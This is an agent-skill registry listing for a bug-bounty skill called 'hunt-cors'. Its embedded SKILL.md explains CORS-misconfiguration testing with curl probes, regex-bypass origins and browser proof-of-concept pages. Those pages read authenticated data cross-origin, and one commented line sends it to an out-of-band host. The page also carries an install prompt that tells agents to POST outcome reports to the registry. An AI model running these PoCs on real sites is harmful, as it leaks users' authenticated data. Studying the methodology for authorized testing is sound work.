Creator · elementalsouls
Last updated · Sep 2, 2026
Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDE
Creator · elementalsouls
Last updated · Sep 2, 2026
Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDE
Creator · elementalsouls
Last updated · Sep 2, 2026
Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDE
Creator · elementalsouls
Last updated · Sep 2, 2026
Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDE
Sandbox only
Install targets
Codex install prompt
Install the "hunt-cors" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {"event_id":"install_<unique-id>","skill_slug":"elementalsouls-hunt-cors","task":"Install hunt-cors","agent":"codex","outcome":"success","install_used":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.Supply asset profile
Code review, repo analysis, testing, CI, GitHub, DevOps, and developer workflow skills.
Scenario
Testing and QA
I need my agent to test a web app, reproduce bugs, and verify fixes.
Agent fit
Claude Code + Browser agents + CLI
Codex, Claude Code, Cursor, CLI, or custom agents.
Install
Ready
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Maintenance
fresh
5d since push
Risk
Needs review
Dependency or permission surface needs review
GitHub quality
4.1K
83/100 Quality · 77/100 Trust
Coverage tags
Review notes
Dependency or permission surface needs review · Permission surface may require sandboxing
Agent adoption scorecard
These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.
Quality
StrongSolid option that is likely worth shortlisting for production workflows.
Trust
Sandbox onlyUseful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
Audit
Needs reviewA machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
OpenAgentSkill Trust Score v5
Run only in a sandbox and compare close alternatives before using it for real work.
Stars
4.1K GitHub stars
Repo activity
4.1K stars, 634 forks
Maintenance
5d since push
License
MIT
Install
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Install safety
Agent-readable metadata
Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.
Suited tasks
Suited agents
Install decision
Trust and risk
Outcome loop
Install command
npx skills add elementalsouls/Claude-BugHunter --skill hunt-corsDo not use when
Agent safety v2
Sparse or mixed signals. Useful for discovery, but not for autonomous installation.
Test manually in an isolated workspace and compare against safer alternatives.
high
Skill metadata references terminal, CLI, shell, subprocess, or command execution workflows.
medium
Skill may drive a browser or interact with web pages.
medium
Skill likely fetches remote pages, APIs, repositories, or external services.
medium
Skill may read or write project files, documents, generated artifacts, or local workspace state.
Agent resolve plan
The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.
Open JSON
/api/agent/resolve?task=Use%20hunt-cors%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Resolve text
/api/agent/resolve?task=Use%20hunt-cors%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text
Install handoff
/api/skills/elementalsouls-hunt-cors/install
Agent should check
Copy prompt
Task: Use hunt-cors in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20hunt-cors%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/elementalsouls-hunt-cors/install
Install command: npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.Agent handoff
Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.
Install handoff
/api/skills/elementalsouls-hunt-cors/install
LLM text format
/api/skills/elementalsouls-hunt-cors/install?format=text
Find alternatives
/api/skills/search?q=hunt-cors&limit=3
Agent prompt
Use hunt-cors for this task. Review https://www.openagentskill.com/api/skills/elementalsouls-hunt-cors/install, then install with: npx skills add elementalsouls/Claude-BugHunter --skill hunt-corsRegistry metadata
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
Manifest
/api/registry/manifest/elementalsouls-hunt-cors
LLM text
/api/registry/manifest/elementalsouls-hunt-cors?format=text
Install alias
/api/registry/install/elementalsouls-hunt-cors
Recommend
/api/registry/recommend?task=Use%20hunt-cors%20in%20an%20agent%20workflow&limit=3
Agent fit
Browser automation
Use-case tags
Platforms
Claude Code, Browser agents
Audit report
A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
Agent decision cockpit
Use this as a leading candidate, then validate the README and install path in your own agent stack.
Role in stack
Primary pick
Primary fit
Browser automation
Trust label
Production-ready
Install path
Command ready
Use when
Evidence
review first
Implementation path
Trust profile
Useful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
GitHub adoption
PASS4.1K GitHub stars
Stars/forks activity
PASS4.1K stars, 634 forks; issue activity unavailable in current metadata
Recent maintenance
PASS5d since push
License clarity
PASSMIT
Good signals
Review before install
Recommended action
Run only in a sandbox and compare close alternatives before using it for real work.
Quality profile
Solid option that is likely worth shortlisting for production workflows.
Workflow fit
Operate web apps
I need my agent to control a browser, fill forms, and verify web app workflows.
Verify behavior
I need my agent to test a web app, reproduce bugs, and verify fixes.
Parse messy files
I need my agent to read PDFs, extract tables, and turn documents into structured data.
Workflow fit
Operate and verify web apps
A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.
Find, compare, and synthesize
A workflow for agents that gather sources, compare claims, summarize long material, and draft useful research briefs.
Turn skills into distribution
A workflow for turning newly indexed skills into SEO briefs, social drafts, comparison pages, and reusable publishing workflows.
Alternative shortlist
Similar skills that may fit this task.
Apache ECharts is a powerful, interactive charting and data visualization library for browser
Bring data to life with SVG, Canvas and HTML. :bar_chart::chart_with_upwards_trend::tada:
Turn any AI agent into an AI Scientist. The #1 Agent Skills library for science, used by 160,000+ scientists worldwide. 140 ready-to-use skills plus 100+ scientific databases covering biology, chemistry, medicine, and drug discovery. Compatible with Cursor, Claude Code, Codex, Pi, Antigravity, and the open Agent Skills standard.
Apache Superset is a Data Visualization and Data Exploration Platform
--- name: hunt-cors description: "Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers." report_count: 19 sources: hackerone_public ---
# HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration
## What actually pays (and what does not)
CORS pays High **only** when an attacker-controlled origin can perform a **credentialed** cross-origin read of sensitive authenticated data, and you have a browser PoC proving the response body is readable from `evil.com`.
Two hard browser rules that kill most "findings" — check these FIRST:
- **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.** If the server returns `ACAO: *`, the browser refuses to send/expose the response for a `credentials: include` request. A wildcard-only endpoint is **not** credential-exploitable. It is only interesting if the data it serves is sensitive *without* a session (rare) — usually this is Informational/Low. - **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It matters only if `ACAO` reflects/allows your specific attacker origin AND a cross-origin credentialed `fetch` actually returns a readable body. ACAC on a response that does not reflect your origin proves nothing.
If you cannot demonstrate a readable cross-origin authed body in a real browser, you do not have a High. Do not submit header-diffing alone.
---
## Crown Jewel Targets
- **Reflect-any-origin + credentials** — server echoes the `Origin` header AND sets `ACAC: true` → any site reads authed API responses. The classic High. - **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a `data:`/redirect chain) emits `Origin: null`, so any page can read authed data. - **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The correct payload depends on *which* flaw (see Phase 3 — this is where most skills get it wrong). - **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS policy trusts; take it over, host the PoC there (see hunt-subdomain). - **postMessage missing/loose origin check** — handler that processes `event.data` without strictly validating `event.origin`.
---
## Attack Surface Signals
``` Any endpoint returning an Access-Control-Allow-Origin header API endpoints: /api/*, /v1/*, /graphql Profile/account: /api/me, /api/profile, /api/user, /api/session Secrets/tokens: /api/tokens, /api/keys, /api/csrf, /api/account/settings Financial: /api/balance, /api/transactions Admin/internal: /api/admin/*, /api/internal/* ```
Prioritize endpoints that (a) require a session cookie and (b) return PII, tokens, CSRF tokens, or other secrets in the body.
---
## Step-by-Step Hunting Methodology
### Phase 1 — Discover CORS endpoints ```bash # Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET, # and -I sends HEAD which may be handled differently. while read url; do result=$(curl -s -D - -o /dev/null "$url" \ -H "Origin: https://evil.com" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control") [ -n "$result" ] && echo "=== $url ===" && echo "$result" done < recon/$TARGET/api-endpoints.txt
# httpx bulk check cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \ httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin" ```
### Phase 2 — Reflect-any-origin + null origin ```bash # Does the server reflect an arbitrary Origin back? curl -s -D - -o /dev/null https://$TARGET/api/me \ -H "Origin: https://evil.com" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Vulnerable (the High case): # Access-Control-Allow-Origin: https://evil.com <- reflects attacker origin # Access-Control-Allow-Credentials: true <- + credentials => readable # # NOT exploitable for credentialed theft: # Access-Control-Allow-Origin: * <- browser blocks creds read # (no ACAC, or ACAC absent) <- not credentialed
# Null-origin trust curl -s -D - -o /dev/null https://$TARGET/api/me \ -H "Origin: null" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control" # Looking for: Access-Control-Allow-Origin: null + ACAC: true ```
### Phase 3 — Subdomain / trusted-origin regex bypass The right payload depends on **which** regex flaw the server has. Identify the class first, then send the matching payload. Getting this wrong wastes the test and produces false negatives.
| Server regex (intended: trust `*.target.com`) | Flaw | Bypass origin that matches | Why | |---|---|---|---| | `^https?://.*\.target\.com$` | **None** — escaped dot + end-anchor. Correct. | (no simple bypass) | `evil.target.com` is in-scope by design; `x.target.com.evil.com` ENDS in `.evil.com`, fails `$`. Move on or look for subdomain-takeover. | | `^https?://.*target\.com$` | **Missing dot separator** (no `\.` before `target`) | `https://eviltarget.com` | `.*target\.com$` matches `eviltarget.com` — attacker registers `eviltarget.com`. | | `^https?://.*\.target\.com` | **Missing end-anchor `$`** | `https://x.target.com.evil.com` | regex matches a prefix; `.target.com` appears, then `.evil.com` is ignored (no `$`). | | `^https?://target\.com` | **Prefix-only, no `$`** | `https://target.com.evil.com` | matches the `target.com` prefix; the rest is unconstrained. | | `^https?://.*\.target\.com$` but dot in regex is **unescaped** (`.*.target.com$`) | **Unescaped dot** = "any char" | `https://xtargetXcom...` style, or `https://evilZtargetZcom` where `Z` is any single char | `.` matches any character, widening the match. | | Any of the above | **Special chars browsers send in Origin** | `https://target.com%60.evil.com`, `https://target.com\x60evil.com` | some parsers treat backtick/underscore as letters; Safari/older browsers may emit unusual origins. Confirm the browser actually sends it. |
```bash # Send each class-specific payload and watch what the server reflects. for ORIGIN in \ "https://evil.target.com" \ "https://eviltarget.com" \ "https://x.target.com.evil.com" \ "https://target.com.evil.com" \ "https://target.com%60.evil.com" \ "http://target.com"; do RESULT=$(curl -s -D - -o /dev/null "https://$TARGET/api/me" \ -H "Origin: $ORIGIN" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control") echo "[$ORIGIN] -> ${RESULT:-no CORS}" done ``` A bypass is real only if the server reflects **your registerable origin** into `ACAO` with `ACAC: true`. `evil.target.com` reflecting back is NOT a bug unless you can actually control a `*.target.com` host (then see Phase 6 / hunt-subdomain).
### Phase 3b — Trusted insecure (HTTP) origin If ACAO reflects/allows any `http://` origin (even a correctly-anchored in-scope one) with ACAC:true, a network attacker on that cleartext host injects a page that reads the authed cross-origin body — no regex flaw needed, the plaintext scheme IS the flaw. ```bash curl -s -D- -o/dev/null "https://$TARGET/api/me" -H "Origin: http://sub.$TARGET" -H "Cookie: $SESSION" | grep -i access-control ``` Real only if a MITM can occupy that http origin (no HSTS-preload). Pair with `hunt-tls-network`. (PortSwigger: CORS with trusted insecure protocols.)
### Phase 4 — Pre-flight (OPTIONS) gating bypass Non-simple requests (custom headers, `PUT`/`DELETE`/`PATCH`, non-simple `Content-Type`) trigger a CORS **pre-flight** `OPTIONS`. The browser only sends the real request if the pre-flight response authorizes the method/header. Two things to test:
1. **Does the pre-flight authorize arbitrary methods/headers for your origin?** If `Access-Control-Allow-Methods` / `Access-Control-Allow-Headers` reflect whatever you ask for, a malicious origin can drive state-changing requests (chain to CSRF-style writes that JSON/SameSite would otherwise block).
```bash curl -s -D - -o /dev/null -X OPTIONS "https://$TARGET/api/account/email" \ -H "Origin: https://evil.com" \ -H "Access-Control-Request-Method: PUT" \ -H "Access-Control-Request-Headers: x-custom-auth, content-type" \ | grep -i "access-control" # Vulnerable: ACAO reflects evil.com + ACAC:true + # Access-Control-Allow-Methods: PUT + Access-Control-Allow-Headers: x-custom-auth # => attacker origin can issue authed PUT/DELETE with custom headers. ```
2. **Is the pre-flight even enforced server-side?** Some servers reflect the origin on `OPTIONS` but the actual GET/POST also reflects — the read path is the bug; the pre-flight just confirms write-path reach. Test the GET/POST directly too — never assume the pre-flight result equals the real-request result. Confirm in a browser, because curl ignores CORS entirely.
### Phase 5 — Browser PoCs (the only thing that proves impact) curl does NOT enforce CORS — it will happily show you a reflected header even when a browser would block the read. **Every CORS High needs a browser PoC.**
**5a. Reflect-any-origin read** (host on evil.com, open while logged into target): ```html <!doctype html><body><pre id="out"></pre> <script> fetch("https://TARGET/api/me", {credentials: "include"}) .then(r => r.text()) .then(d => { document.getElementById("out").innerText = d; // prove readable body // OOB proof: fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(d)); }) .catch(e => document.getElementById("out").innerText = "BLOCKED: " + e); </script></body> ``` If you see `BLOCKED` / a TypeError, the browser refused the read — it is NOT a valid finding regardless of what curl showed (this is the `ACAO: *` + creds case).
**5b. Null-origin read** — a `sandbox` iframe sends `Origin: null`. The inner document must lack `allow-same-origin` so its origin is opaque (`null`): ```html <!doctype html><body> <!-- Outer page hosted anywhere --> <iframe sandbox="allow-scripts" srcdoc=' <script> fetch("https://TARGET/api/me", {credentials: "include"}) .then(r => r.text()) .then(d => parent.postMessage(d, "*")); </script>'></iframe> <script> window.addEventListener("message", e => { // d is the authed body, read cross-origin via a null Origin // fetch("https://OOB-ID.oastify.com/?d="+encodeURIComponent(e.data)); console.log("NULL-ORIGIN READ:", e.data); }); </script></body> ``` (Alternative null-origin emitters: a `data:` / `blob:` document, or bouncing the request through a 302 redirect chain whose final hop is cross-scheme.)
**5c. Trusted-subdomain read** — once you control a host that the regex trusts (real subdomain via takeover, or a registerable origin that matches a buggy regex from Phase 3), host **5a** there. The reflected origin is now an origin you legitimately serve, so the browser allows the read.
### Phase 6 — postMessage origin check ```bash # Find message handlers that don't strictly validate event.origin. grep -rEn "addEventListener\(['\"]message" recon/$TARGET/ --include="*.js" \ | grep -v "\.origin" # Then audit each hit: does it check event.origin against an allowlist # BEFORE using event.data? Weak checks to flag: # .indexOf("target.com") > -1 <- "target.com.evil.com" passes # .endsWith("target.com") <- "eviltarget.com" passes # startsWith("https://target") <- "https://target.evil.com" passes # no check at all ``` postMessage is a separate class from HTTP CORS — impact is DOM-side (XSS, client-side auth bypass). See hunt-dom for exploitation depth.
---
## Automation (triage only — never the proof) ```bash # corsy — fast reflection/null/pre-domain checks pip3 install corsy corsy -u https://$TARGET -t 10 --headers "Cookie: $SESSION_COOKIE"
# nuclei CORS templates nuclei -u https://$TARGET -t http/misconfiguration/cors/
#
Source provenance
Decision snapshot
4,082 GitHub stars
Audit
Install and adoption review
Agent-proven evidence
Outcome reports after resolve, review, install, and one narrow run.
No agent outcome data yet. The first agent run can report success, setup needs, risk blocks, failure, or not-relevant through /api/agent/outcome.
Install
Free and open source. Review the report before installing into production agents.
Growth loop
Scenario-led draft for hunt-cors, ready for a manual X post.
hunt-cors: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain... 4.1K stars https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=x
Listing + install path for hunt-cors: https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=x Install: npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Listing source
This listing was indexed from public sources and is not marked official until a maintainer claim is approved.
Attribution links to the public repository or creator profile. Creators can claim the listing to update ownership signals.
Claim this skillOwner claim
This Registry indexed listing is attributed to elementalsouls but is not marked official yet. Claim it to add a verified owner signal and make future launch, install, and audit updates easier to trust.
Creator backlink kit
Show the canonical listing, current trust and audit signals, and real Agent-Proven evidence where developers evaluate the repository.
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors/audit)
[](https://www.openagentskill.com/skills/elementalsouls-hunt-cors?ref=github&utm_source=github&utm_medium=referral&utm_campaign=creator_badge)elementalsouls
@elementalsouls
Share whether this skill looks useful for your agent workflow. Aggregated feedback improves rankings over time.
Sandbox only
Echarts
Apache ECharts is a powerful, interactive charting and data visualization library for browser
67.2K StarsD3
Bring data to life with SVG, Canvas and HTML. :bar_chart::chart_with_upwards_trend::tada:
113.1K StarsScientific Agent Skills
Turn any AI agent into an AI Scientist. The #1 Agent Skills library for science, used by 160,000+ scientists worldwide. 140 ready-to-use skills plus 100+ scientific databases covering biology, chemistry, medicine, and drug discovery. Compatible with Cursor, Claude Code, Codex, Pi, Antigravity, and the open Agent Skills standard.
33.5K StarsSuperset
Apache Superset is a Data Visualization and Data Exploration Platform
74.7K StarsSandbox only
Install targets
Codex install prompt
Install the "hunt-cors" agent skill from https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-cors. Read its SKILL.md or equivalent instructions first, install only the files needed for this workspace, and summarize any required setup before using it. Skill purpose: Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers. After the install attempt, report the result to https://www.openagentskill.com/api/agent/outcome with POST JSON {"event_id":"install_<unique-id>","skill_slug":"elementalsouls-hunt-cors","task":"Install hunt-cors","agent":"codex","outcome":"success","install_used":true}. Replace event_id with a unique value and outcome with success or failed. Report success only after the skill is installed and a minimal verification passes.Supply asset profile
Code review, repo analysis, testing, CI, GitHub, DevOps, and developer workflow skills.
Scenario
Testing and QA
I need my agent to test a web app, reproduce bugs, and verify fixes.
Agent fit
Claude Code + Browser agents + CLI
Codex, Claude Code, Cursor, CLI, or custom agents.
Install
Ready
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Maintenance
fresh
5d since push
Risk
Needs review
Dependency or permission surface needs review
GitHub quality
4.1K
83/100 Quality · 77/100 Trust
Coverage tags
Review notes
Dependency or permission surface needs review · Permission surface may require sandboxing
Agent adoption scorecard
These scores combine public repository metadata, OpenAgentSkill review signals, maintenance freshness, and install readiness. They are a shortlist signal, not a replacement for human review.
Quality
StrongSolid option that is likely worth shortlisting for production workflows.
Trust
Sandbox onlyUseful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
Audit
Needs reviewA machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
OpenAgentSkill Trust Score v5
Run only in a sandbox and compare close alternatives before using it for real work.
Stars
4.1K GitHub stars
Repo activity
4.1K stars, 634 forks
Maintenance
5d since push
License
MIT
Install
npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Install safety
Agent-readable metadata
Use this block or the embedded JSON to decide whether an agent should install this skill, choose an alternative, or ask for human review first.
Suited tasks
Suited agents
Install decision
Trust and risk
Outcome loop
Install command
npx skills add elementalsouls/Claude-BugHunter --skill hunt-corsDo not use when
Agent safety v2
Sparse or mixed signals. Useful for discovery, but not for autonomous installation.
Test manually in an isolated workspace and compare against safer alternatives.
high
Skill metadata references terminal, CLI, shell, subprocess, or command execution workflows.
medium
Skill may drive a browser or interact with web pages.
medium
Skill likely fetches remote pages, APIs, repositories, or external services.
medium
Skill may read or write project files, documents, generated artifacts, or local workspace state.
Agent resolve plan
The Resolve API returns the selected skill, alternatives, safety policy, audit notes, install target, and copy-paste prompt an agent can follow without scraping this page.
Open JSON
/api/agent/resolve?task=Use%20hunt-cors%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Resolve text
/api/agent/resolve?task=Use%20hunt-cors%20for%20an%20agent%20workflow&agent=codex&max_risk=medium&format=text
Install handoff
/api/skills/elementalsouls-hunt-cors/install
Agent should check
Copy prompt
Task: Use hunt-cors in this workspace.
Resolve first: https://www.openagentskill.com/api/agent/resolve?task=Use%20hunt-cors%20for%20an%20agent%20workflow&agent=codex&max_risk=medium
Review install handoff: https://www.openagentskill.com/api/skills/elementalsouls-hunt-cors/install
Install command: npx skills add elementalsouls/Claude-BugHunter --skill hunt-cors
Before running it, summarize audit warnings, required permissions, and the fallback skill if install is risky.Agent handoff
Use the public install endpoint to fetch the command, safety checklist, target prompts, and canonical links for this skill.
Install handoff
/api/skills/elementalsouls-hunt-cors/install
LLM text format
/api/skills/elementalsouls-hunt-cors/install?format=text
Find alternatives
/api/skills/search?q=hunt-cors&limit=3
Agent prompt
Use hunt-cors for this task. Review https://www.openagentskill.com/api/skills/elementalsouls-hunt-cors/install, then install with: npx skills add elementalsouls/Claude-BugHunter --skill hunt-corsRegistry metadata
This page exposes the same decision, trust, audit, use-case, and install signals through the Registry API, so agents can rank this skill without scraping the UI.
Manifest
/api/registry/manifest/elementalsouls-hunt-cors
LLM text
/api/registry/manifest/elementalsouls-hunt-cors?format=text
Install alias
/api/registry/install/elementalsouls-hunt-cors
Recommend
/api/registry/recommend?task=Use%20hunt-cors%20in%20an%20agent%20workflow&limit=3
Agent fit
Browser automation
Use-case tags
Platforms
Claude Code, Browser agents
Audit report
A machine-readable review of install readiness, security metadata, maintenance, and adoption risk.
Agent decision cockpit
Use this as a leading candidate, then validate the README and install path in your own agent stack.
Role in stack
Primary pick
Primary fit
Browser automation
Trust label
Production-ready
Install path
Command ready
Use when
Evidence
review first
Implementation path
Trust profile
Useful candidate with missing or mixed trust signals. Keep it in an isolated workspace until the outcome loop proves task fit.
GitHub adoption
PASS4.1K GitHub stars
Stars/forks activity
PASS4.1K stars, 634 forks; issue activity unavailable in current metadata
Recent maintenance
PASS5d since push
License clarity
PASSMIT
Good signals
Review before install
Recommended action
Run only in a sandbox and compare close alternatives before using it for real work.
Quality profile
Solid option that is likely worth shortlisting for production workflows.
Workflow fit
Operate web apps
I need my agent to control a browser, fill forms, and verify web app workflows.
Verify behavior
I need my agent to test a web app, reproduce bugs, and verify fixes.
Parse messy files
I need my agent to read PDFs, extract tables, and turn documents into structured data.
Workflow fit
Operate and verify web apps
A workflow for agents that navigate products, fill forms, take screenshots, and verify real user flows across web applications.
Find, compare, and synthesize
A workflow for agents that gather sources, compare claims, summarize long material, and draft useful research briefs.
Turn skills into distribution
A workflow for turning newly indexed skills into SEO briefs, social drafts, comparison pages, and reusable publishing workflows.
Alternative shortlist
Similar skills that may fit this task.
Apache ECharts is a powerful, interactive charting and data visualization library for browser
Bring data to life with SVG, Canvas and HTML. :bar_chart::chart_with_upwards_trend::tada:
Turn any AI agent into an AI Scientist. The #1 Agent Skills library for science, used by 160,000+ scientists worldwide. 140 ready-to-use skills plus 100+ scientific databases covering biology, chemistry, medicine, and drug discovery. Compatible with Cursor, Claude Code, Codex, Pi, Antigravity, and the open Agent Skills standard.
Apache Superset is a Data Visualization and Data Exploration Platform
--- name: hunt-cors description: "Hunt CORS Misconfiguration — origin-reflection with credentials, null-origin trust, subdomain-regex bypass (unanchored vs unescaped-dot vs prefix-only), pre-flight (OPTIONS) gating bypass, postMessage origin checks. High only when an attacker-controlled origin can perform a CREDENTIALED cross-origin read of sensitive data and you have proven it in a browser. Use when testing API endpoints, SPAs, or any app emitting Access-Control-* headers." report_count: 19 sources: hackerone_public ---
# HUNT-CORS — Cross-Origin Resource Sharing Misconfiguration
## What actually pays (and what does not)
CORS pays High **only** when an attacker-controlled origin can perform a **credentialed** cross-origin read of sensitive authenticated data, and you have a browser PoC proving the response body is readable from `evil.com`.
Two hard browser rules that kill most "findings" — check these FIRST:
- **`Access-Control-Allow-Origin: *` CANNOT be combined with credentials.** If the server returns `ACAO: *`, the browser refuses to send/expose the response for a `credentials: include` request. A wildcard-only endpoint is **not** credential-exploitable. It is only interesting if the data it serves is sensitive *without* a session (rare) — usually this is Informational/Low. - **`Access-Control-Allow-Credentials: true` is meaningless on its own.** It matters only if `ACAO` reflects/allows your specific attacker origin AND a cross-origin credentialed `fetch` actually returns a readable body. ACAC on a response that does not reflect your origin proves nothing.
If you cannot demonstrate a readable cross-origin authed body in a real browser, you do not have a High. Do not submit header-diffing alone.
---
## Crown Jewel Targets
- **Reflect-any-origin + credentials** — server echoes the `Origin` header AND sets `ACAC: true` → any site reads authed API responses. The classic High. - **Null-origin trust** — `ACAO: null` + `ACAC: true`. A `sandbox` iframe (or a `data:`/redirect chain) emits `Origin: null`, so any page can read authed data. - **Subdomain-regex bypass** — trusted-origin regex with a parsing flaw. The correct payload depends on *which* flaw (see Phase 3 — this is where most skills get it wrong). - **Subdomain takeover → trusted origin** — a dangling subdomain that the CORS policy trusts; take it over, host the PoC there (see hunt-subdomain). - **postMessage missing/loose origin check** — handler that processes `event.data` without strictly validating `event.origin`.
---
## Attack Surface Signals
``` Any endpoint returning an Access-Control-Allow-Origin header API endpoints: /api/*, /v1/*, /graphql Profile/account: /api/me, /api/profile, /api/user, /api/session Secrets/tokens: /api/tokens, /api/keys, /api/csrf, /api/account/settings Financial: /api/balance, /api/transactions Admin/internal: /api/admin/*, /api/internal/* ```
Prioritize endpoints that (a) require a session cookie and (b) return PII, tokens, CSRF tokens, or other secrets in the body.
---
## Step-by-Step Hunting Methodology
### Phase 1 — Discover CORS endpoints ```bash # Probe API endpoints. Use GET (not -I): some servers only emit CORS on GET, # and -I sends HEAD which may be handled differently. while read url; do result=$(curl -s -D - -o /dev/null "$url" \ -H "Origin: https://evil.com" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control") [ -n "$result" ] && echo "=== $url ===" && echo "$result" done < recon/$TARGET/api-endpoints.txt
# httpx bulk check cat recon/$TARGET/live-hosts.txt | awk '{print $1}' | \ httpx -H "Origin: https://evil.com" -match-string "access-control-allow-origin" ```
### Phase 2 — Reflect-any-origin + null origin ```bash # Does the server reflect an arbitrary Origin back? curl -s -D - -o /dev/null https://$TARGET/api/me \ -H "Origin: https://evil.com" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control"
# Vulnerable (the High case): # Access-Control-Allow-Origin: https://evil.com <- reflects attacker origin # Access-Control-Allow-Credentials: true <- + credentials => readable # # NOT exploitable for credentialed theft: # Access-Control-Allow-Origin: * <- browser blocks creds read # (no ACAC, or ACAC absent) <- not credentialed
# Null-origin trust curl -s -D - -o /dev/null https://$TARGET/api/me \ -H "Origin: null" \ -H "Cookie: $SESSION_COOKIE" | grep -i "access-control" # Looking for: Access-Control-Allow-Origin: null + ACAC: true ```
### Phase 3 — Subdomain / trusted-origin regex bypass The right payload depends on **which** regex flaw the server has. Identify the class first, then send the matching payload. Getting this wrong wastes the test and produces false negatives.
